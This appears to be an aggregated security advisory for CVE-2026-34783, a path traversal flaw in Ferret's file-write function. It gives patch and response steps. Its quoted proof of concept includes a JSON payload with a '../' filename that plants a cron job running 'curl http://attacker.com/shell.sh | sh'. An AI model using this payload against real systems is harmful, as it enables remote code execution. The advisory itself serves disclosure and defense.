Path Traversal in github.com/MontFerret/ferret/v2 (CVE-2026-34783)
Summary
Path traversal in github.com/MontFerret/ferret/v2 (CVE-2026-34783). Data can be tampered with by attackers. Exploitable via os.OpenFile. Mitigation: upgrade to 2.0.0-alpha.4 or later.
Original description
The description as published by the source.
Summary
A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.
Exploitation
The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.
Attack Flow
- The attacker serves a JSON API with crafted filenames containing
../traversal:
[
{"name": "legit-article", "content": "Normal content."},
{"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
- The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))
FOR article IN articles
LET path = "/tmp/ferret_output/" + article.name + ".txt"
IO::FS::WRITE(path, TO_BINARY(article.content))
RETURN { written: path, name: article.name }
- FQL string concatenation produces: `/tmp…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-34783 has been found in github.com/MontFerret/ferret/v2.
Attackers can target a specific entry point like os.OpenFile over the network to misuse the product.
Data can be tampered with by attackers.
What to do: upgrade github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4 or later.
If unsure, ask your IT team or search "github.com/MontFerret/ferret/v2 CVE-2026-34783" on the vendor's site.
CVE-2026-34783 (github.com/MontFerret/ferret/v2) — CWE-22
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: os.OpenFile / evil_server.py / scrape.fql / run_poc.sh
Patched: 2.0.0-alpha.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Path traversal (CWE-22) exists in github.com/MontFerret/ferret/v2. Attackers reach the vulnerable code path via os.OpenFile without authentication.
Check the vendor advisory for the affected versions of github.com/MontFerret/ferret/v2. Attack surface: os.OpenFile / evil_server.py / scrape.fql / run_poc.sh.
Severity: ?. Data can be tampered with by attackers.
Update to 2.0.0-alpha.4.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/MontFerret/ferret/v2' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'github.com/MontFerret/ferret/v2' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
github.com/MontFerret/ferret/v2を grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4ステージング環境で 2.0.0-alpha.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com